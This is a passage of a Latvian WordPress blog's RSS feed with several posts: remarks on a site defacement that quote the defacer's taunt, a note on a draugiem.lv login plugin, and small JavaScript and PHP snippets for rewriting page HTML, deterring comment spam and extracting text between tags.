<li>ja ir iespēja uzstādīt papildus perimetra aizsardzību, piemēram, revers proxy</li>
<li>ja gadījies kāds incidents, tad to iespēju robežās izmeklējam un izdarām secinājumus, nevis ignorējam un ceram, ka tas neatkārtosies.</li>
</ul>
<p>PS.<br />
Tagad laikam ir īstais brīdis pateikt ko es domāju par šiem brīnumdariem-<strong> neko labu</strong>.</p>
<p>Manās acīs tie ir visādi mūdži, kuri nodarbojas tikai ar savu ģenitāliju staipīšanu.<br />
Cita lieta ir drošības speciālisti, kuri atklāj, konsultē un palīdz novērst (par naudu- protams) drošības ievainojamības vai ari hackeri, kuri iegūto informāciju izmanto ekonomisku labumu gūšanai, piemēram, izpirkuma maksas pieprasīšanai vai citas informācijas iegūšanai, ar kuru pēc tam operējot var uztaisīt skanošo- piemēram, kā ukraiņu <a title="http://dll.lv/interesanti-par-ukrainu-urki-oleksandr-dorozhko/" href="http://dll.lv/interesanti-par-ukrainu-urki-oleksandr-dorozhko/" target="_blank">hakers</a>.</p>
<p>Bet vienkārši atrast lapu ar konkrētu ievainojamību, to izdzēst, nemaz neiedziļinoties kam tā pieder un kam tā kalpo?? Tas, manuprāt, ir zem jebkāda goda, kaut palasot pievienotās rindiņas index failam- šim cilvēkam no Palestīnas tāda nemaz nav bijis kopš dzimšanas:</p>
<blockquote><p><span style="font-family: Times New Roman; color: #ff0000; font-size: large;">I aM: A FrEe PaLeStIn!aN&#8217;s HaCK3eR</span></p>
<p><span style="font-family: Times New Roman; color: #fdd017; font-size: large;">I DoN&#8217;t ApPeAr InTelLeGaNcE, BuT I AiM To DeStRoY InTeLlEgAnT</span></p>
<p><span style="font-family: Times New Roman; color: #ff0000; font-size: large;">DoN&#8217;t ChAlLeNg A PeRsOn WhO HaS N0N To LoSe</span></p>
<p><span style="font-family: Times New Roman; color: #fdd017; font-size: large;">PlAyInG WiTh Ch!LdReN DoSeN&#8217;t EnTeRtA!N Me<br />
</span></p>
<p>AdM!n DoN&#8217;t CrY&#8230;.. CrY!Ng Is N0T A MaN&#8217;s ShArM</p></blockquote>
<p>Related posts:<ol>
<li><a href='http://dll.lv/nozagtas-facebook-lietotaju-paroles' rel='bookmark' title='Nozagtas Facebook lietotāju paroles'>Nozagtas Facebook lietotāju paroles</a></li>
<li><a href='http://dll.lv/drosibas-caurums-csdd-un-parex-majaslapa' rel='bookmark' title='Drošības caurums CSDD un Parex mājaslapā'>Drošības caurums CSDD un Parex mājaslapā</a></li>
<li><a href='http://dll.lv/google-i-nozagts-gaia-izejas-kods' rel='bookmark' title='Google (i) nozagts Gaia izejas kods :)'>Google (i) nozagts Gaia izejas kods :)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Draugiem.lv pase priekš wordpress</title>
		<link>http://dll.lv/draugiem-lv-pase-prieks-wordpress?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=draugiem-lv-pase-prieks-wordpress</link>
		<comments>http://dll.lv/draugiem-lv-pase-prieks-wordpress#comments</comments>
		<pubDate>Tue, 20 Apr 2010 05:53:52 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[izstrāde]]></category>
		<category><![CDATA[paplašinam wordpress]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[web izstrāde]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=932</guid>
		<description><![CDATA[Šorīt no rīta sagribējās izdarīt kaut ko paliekošu un sabiedrībai interesantu. Pirmais, kas ienāca prāta bija uzrakstīt plugin priekš wordpress, kas ļautu ievietot komentārus ar draugiem.lv pasi. Tā apņēmības un entuziasma pilns jau ķēros pie darba, kad ienāca prātā iemest &#8230; <a href="http://dll.lv/draugiem-lv-pase-prieks-wordpress">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/spams-wordpress-komentaros' rel='bookmark' title='Spams wordpress komentāros'>Spams wordpress komentāros</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Šorīt no rīta sagribējās izdarīt kaut ko paliekošu un sabiedrībai interesantu.</p>
<p>Pirmais, kas ienāca prāta bija uzrakstīt plugin priekš wordpress, kas ļautu ievietot komentārus ar draugiem.lv pasi.</p>
<p>Tā apņēmības un entuziasma pilns jau ķēros pie darba, kad ienāca prātā iemest google vai kāds meistars jau nav pacenties un vai netaisos izgudrot divriteni otrreiz..</p>
<p>Par nožēlu priekš manis pirmais rezultāts ievadot <a title="draugiem.lv pase wordpress" href="http://www.google.lv/search?hl=lv&amp;rlz=1G1GGLQ_ENLV290&amp;q=draugiem.lv+pase+wordpress">draugiem.lv pase wordpress</a> izlec Ģirta Upīša rakstītais <a title="plugin" href="http://wordpress.org/extend/plugins/draugiem-pase/" target="_blank">plugins.</a></p>
<p>Žēl..</p>
<p>Apskatot pēdējās relīzes (pagaidām divas 1.0 un 1.1) datumu- 2010.04.13 izdaru secinājumu, ka nokavēju tikai nedaudz.</p>
<p>Kāpēc šī ideja neienāca 1 mēnesi atpakaļ?</p>
<p>Nekas domāsim tālāk kā izpausties brīvos brīžos.</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/spams-wordpress-komentaros' rel='bookmark' title='Spams wordpress komentāros'>Spams wordpress komentāros</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/draugiem-lv-pase-prieks-wordpress/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</title>
		<link>http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript</link>
		<comments>http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript#comments</comments>
		<pubDate>Tue, 29 Dec 2009 09:25:23 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[kods]]></category>
		<category><![CDATA[piemērs]]></category>
		<category><![CDATA[pieredze]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=778</guid>
		<description><![CDATA[Veidojot vienu lapu radās neikdienišķa situācija- bija nepieciešams izmainīt jau php izveidoto kodu un aizstāt to ar citu, ja izvadītajā html kodā ir sastopams cits unikāls kods. Kā vienīgais risinājums man ienāca prātā javascript. Iespējams kādam tas liksies gaužām vienkārši, &#8230; <a href="http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/atbrivojamies-no-komentaru-spama' rel='bookmark' title='Atbrīvojamies no komentāru spama'>Atbrīvojamies no komentāru spama</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/iegut-tekoso-datumu-cmd' rel='bookmark' title='Iegūt tekošo datumu izmantojot cmd'>Iegūt tekošo datumu izmantojot cmd</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Veidojot vienu lapu radās neikdienišķa situācija- bija nepieciešams izmainīt jau php izveidoto kodu un aizstāt to ar citu, ja izvadītajā html kodā ir sastopams cits unikāls kods.</p>
<p>Kā vienīgais risinājums man ienāca prātā javascript.</p>
<p>Iespējams kādam tas liksies gaužām vienkārši, tomēr man, kas ir &#8220;uz jūs&#8221; ar javascript izveidot šīs pāris rindiņas bija diezgan ķepīgi un laikietilpīgi.</p>
<p>Nu tad, lūk, pati funkcija un paskaidrojumi:<code></code></p>
<p><code></p>
<blockquote><p>&lt;script type="text/javascript"&gt;</p>
<p>//izsaucam funkciju pie ielādes</p>
<p>window.onload=gethtml;<span id="more-778"></span></p>
<p>function gethtml() {</p>
<p>//mainīgajam str nododam visas lapas html kodu</p>
<p>var str = document.body.innerHTML;</p>
<p>str.toString();</p>
<p>//pārbaudām vai ielasītajā mainīgajā str ir kods, kas nozīmēs, ka ir jāaizstāj rinda ar citu</p>
<p>var matchPos1 = str.search("id_menu_3_3");</p>
<p>//paskatāmies iegūto rezultātu- funkcija atgriež vērtību -1 , ja tas nav sastopams. Pretējā gadījumā atgriež kurā vietā ir atrasts.</p>
<p>if(matchPos1 != -1){</p>
<p>//mainīgajā str1 ierakstām tekstu, kuru ir jāaizstāj</p>
<p>var str1 = '&lt;a href="/test/index.php/d"&gt;';</p>
<p>//mainīgajā str2 irakstām tekstu, ar kuru ir jāaizstāj</p>
<p>var str2 = '&lt;a href="/test/index.php/d"&gt;';</p>
<p>veicam aizvietošanu</p>
<p>var str3 = str.replace(str1,str2);</p>
<p>//ja ir nepieciešams testa pēc pārbaudām vai ir aizvietojies</p>
<p>//alert(str3);</p>
<p>//izvadām rezultātu</p>
<p>document.body.innerHTML = str3;</p>
<p>}</p>
<p>//ja meklējamais kods nav atrasts, tad nedaram neko</p>
<p>}</p>
<p>&lt;/script&gt;</p></blockquote>
<p></code></p>
<p>Protams, aizvietošana nenotiks, ja pārlūkā būs atslēgts javascript <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Šo funkciju, nedaudz pamainot, var pielāgot daudz biežāk sastopamai situācijai, kad nepieciešams vienkārši aizstāt vienu rindu ar otru.</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/atbrivojamies-no-komentaru-spama' rel='bookmark' title='Atbrīvojamies no komentāru spama'>Atbrīvojamies no komentāru spama</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/iegut-tekoso-datumu-cmd' rel='bookmark' title='Iegūt tekošo datumu izmantojot cmd'>Iegūt tekošo datumu izmantojot cmd</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Atbrīvojamies no komentāru spama</title>
		<link>http://dll.lv/atbrivojamies-no-komentaru-spama?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=atbrivojamies-no-komentaru-spama</link>
		<comments>http://dll.lv/atbrivojamies-no-komentaru-spama#comments</comments>
		<pubDate>Tue, 08 Dec 2009 09:24:42 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[spams]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=751</guid>
		<description><![CDATA[WordPress piedāvā iebūvētu un vienkāršu veidu kā atbrīvoties no spama- Akisment, kura spēku var palielināt sadaļā: Iestatījumi-&#62;Diskusijas ierakstot papildus frāzes vai IP adreses, kas liecinās par spamu. Dažas adreses, kuras nomocīja mani: 194.8.75.149 194.8.75.163 87.118.118.133 194.8.74.220 92.112. 92.113. Bet pavisam &#8230; <a href="http://dll.lv/atbrivojamies-no-komentaru-spama">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/atbrivojamies-no-nevajadziga-registresanas-spama' rel='bookmark' title='Atbrīvojamies no nevajadzīgā reģistrēšanās spama'>Atbrīvojamies no nevajadzīgā reģistrēšanās spama</a></li>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">WordPress piedāvā iebūvētu un vienkāršu veidu kā atbrīvoties no spama- Akisment, kura spēku var palielināt sadaļā:</p>
<p style="text-align: justify;"><strong>Iestatījumi-&gt;Diskusijas</strong> ierakstot papildus frāzes vai IP adreses, kas liecinās par spamu. Dažas adreses, kuras nomocīja mani:</p>
<blockquote>
<p style="text-align: justify;"><em>194.8.75.149</em></p>
<p style="text-align: justify;"><em>194.8.75.163<span id="more-751"> </span></em></p>
<p><em> </em></p>
<p style="text-align: justify;"><em>87.118.118.133</em></p>
<p style="text-align: justify;"><em>194.8.74.220</em></p>
<p style="text-align: justify;"><em>92.112.</em></p>
<p style="text-align: justify;"><em>92.113.</em></p>
</blockquote>
<p style="text-align: justify;">Bet pavisam nejauši uzdūros vecam <a href="http://pods.lv/2008/06/20/ka_tikt_gala_ar_komentaru_spamu_bez_akismet_palidzibas/" target="_blank">pods.lv</a> rakstam, kurā vienkārši ieteikts ar javascript palīdzību pamainīt komentu saņemšanas lapas adresi. Piemērs rakstīts wordpress, bet to tik pat vienkārši var pielāgot jebkurai citai lapai.</p>
<p style="text-align: justify;">
<p>Kas tādā veidā tiks izdarīts?</p>
<p>Ja nebūs ieslēgts javascript atbalsts, tad ievadot komentāru tas tiks padots citai lapai, piemēram, /spaamms/ nevis comments.php. <em>Tas sniedz rezultātu, jo daudzām spamotāju sistēmām nav ieslēgts javascript.</em></p>
<p>Lai izskatītos korektāk var arī  izveidot  šādu lapu ( dll.lv/spaammss), kurā populārzinātniski paskaidrotu, kas noticis.</p>
<p>Papildus tam pirms komentēšanas formas tiks  izvadīs paziņojumu, ka jābūt ieslēgtam javascript, lai komentētu.</p>
<p style="text-align: justify;">Lai to izdarītu atrodam wordpress templeita comments.php failu, kas atrodas “web root/wp-content/themes/temas_nosaukums/<span>comments.php”</span></p>
<p style="text-align: justify;">Atrodam šādu rindiņu:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>&lt;form action="&lt;?php echo get_option('siteurl'); ?&gt;<span>/wp-comments-post.php</span>” method=”post” id=”commentform”&gt;</p></blockquote>
<p></code></p>
<p style="text-align: justify;">un aizstājam to ar:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>&lt;form action="&lt;?php echo get_option('siteurl'); ?&gt;/spaamms/" method="post" id="commentform"&gt;</p>
<p>&lt;script type="text/javascript"&gt;</p>
<p>document.getElementById('commentform').action = "&lt;?php echo get_option('siteurl'); ?&gt;/wp-comments-post.php";</p>
<p>&lt;/script&gt;</p>
<p>&lt;noscript&gt;</p>
<p>&lt;p&gt;&lt;strong class="postdate"&gt;Lai izmantotu koment&amp;#275;&amp;#353;anas iesp&amp;#275;ju, p&amp;#257;rl&amp;#363;k&amp;#257; j&amp;#257;b&amp;#363;t iesl&amp;#275;gtam JavaScript atbalstam!&lt;/strong&gt;. Kaut k&amp;#257; ta&amp;#269;u ir j&amp;#257;m&amp;#275;&amp;#291;ina c&amp;#299;n&amp;#299;ties ar koment&amp;#257;ru piedrazot&amp;#257;jiem.&lt;/p&gt;</p>
<p>&lt;/noscript&gt;</p></blockquote>
<p></code></p>
<p style="text-align: justify;">
<p style="text-align: justify;">Papildus tam, lai daži spamotāji pa taisno neievietotu komentārus, nomainīju komentāru apstrādājamā faila nosaukumu tai pašā failā:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>document.getElementById('commentform').action = "&lt;?php echo get_option('siteurl'); ?&gt;/wp-comments-post.php";</p></blockquote>
<p></code></p>
<p style="text-align: justify;">uz:</p>
<p style="text-align: justify;">
<p><code></p>
<blockquote><p>document.getElementById('commentform').action = "&lt;?php echo get_option('siteurl'); ?&gt;/wp-comments-post_n123.php";</p></blockquote>
<p></code></p>
<p style="text-align: justify;">un, protams, tad arī pats komentāru apstrādājošais fails jāpārsauc- atrodas web root/wp-comments-posts.php uz wp-comments-post_n123.php</p>
<p style="text-align: justify;">Es tagad tiešām ceru, ka ar to pietiks…</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
<li><a href='http://dll.lv/atbrivojamies-no-nevajadziga-registresanas-spama' rel='bookmark' title='Atbrīvojamies no nevajadzīgā reģistrēšanās spama'>Atbrīvojamies no nevajadzīgā reģistrēšanās spama</a></li>
<li><a href='http://dll.lv/paplasinam-wordpress-iespejas' rel='bookmark' title='Paplašinām wordpress iespējas'>Paplašinām wordpress iespējas</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/atbrivojamies-no-komentaru-spama/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kā izgriezt simbolu no WEB lapas..</title>
		<link>http://dll.lv/ka-izgriezt-simbolu-no-web-lapas?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ka-izgriezt-simbolu-no-web-lapas</link>
		<comments>http://dll.lv/ka-izgriezt-simbolu-no-web-lapas#comments</comments>
		<pubDate>Tue, 19 May 2009 18:06:51 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=541</guid>
		<description><![CDATA[Viena uzdevuma veikšanai vajadzēja izgriezt no mājaslapas un izvadīt simbolu virkni, kas atradīsies starp noteiktiem tagiem(kuri nav XML). Uz ātro neatradu gatavu risinājumu tāpēc uzrakstīju funkciju. Nepretendēju uz pašu asprātīgāko risinājumu, bet varbūt kādam noder.. function griezam($Content,$str_pirms,$str_pec){ $garums_pirms=strlen($str_pirms); $pec = &#8230; <a href="http://dll.lv/ka-izgriezt-simbolu-no-web-lapas">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Viena uzdevuma veikšanai vajadzēja izgriezt no mājaslapas un izvadīt simbolu virkni, kas atradīsies starp noteiktiem tagiem(kuri nav XML).<br />
Uz ātro neatradu gatavu risinājumu tāpēc uzrakstīju funkciju.<br />
Nepretendēju uz pašu asprātīgāko risinājumu, bet varbūt kādam noder..</p>
<blockquote><p>function griezam($Content,$str_pirms,$str_pec){</p>
<p>$garums_pirms=strlen($str_pirms);<br />
$pec = strstr($Content, $str_pirms);<br />
//nogriežam visu lidz sakumama<br />
//nomemam visu lidz firmai<br />
$pec= substr(&#8220;$pec&#8221;, $garums_pirms);<br />
//nogriežam<br />
$pec1=strstr($pec, $str_pec);</p>
<p>//saskaitam cik ir atlikusaja rinda un pirms nogriezt beigas<br />
$sk_pec=strlen($pec);<br />
$sk_pirms=strlen($pec1);</p>
<p>$sk=$sk_pec-$sk_pirms;</p>
<p>$rezultats=substr(&#8220;$pec&#8221;, 0,$sk);</p>
<p>echo &#8220;$rezultats&#8221;;<br />
}</p></blockquote>
<p>//ierakstam lapu no kuras gribam izgriezt kaut ko</p>
<p>$Content = file_get_contents(&#8220;http://dll.lv&#8221;);</p>
<p>//ierakstam stringu kas ir pirms vēlamā elementa. Piemers ir vienkārš, tai pat laikā tā vietā var būt piemēram &lt;div style=&#8221;color:#00FF00&#8243;&gt;,  galvenais, lai tas būtu pirmais unikālais un beidzas pirms vēlamā</p>
<p>$str_pirms=&#8217;&lt;title&gt;&#8217;;</p>
<p>//ierakstam stringu, kas ir pec velamā elementa</p>
<p>$str_pec = &#8216;&lt;/title&gt;&#8217;;</p>
<p>//izsaucam funkciju</p>
<p>griezam($Content,$str_pirms,$str_pec);</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/ka-izgriezt-simbolu-no-web-lapas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

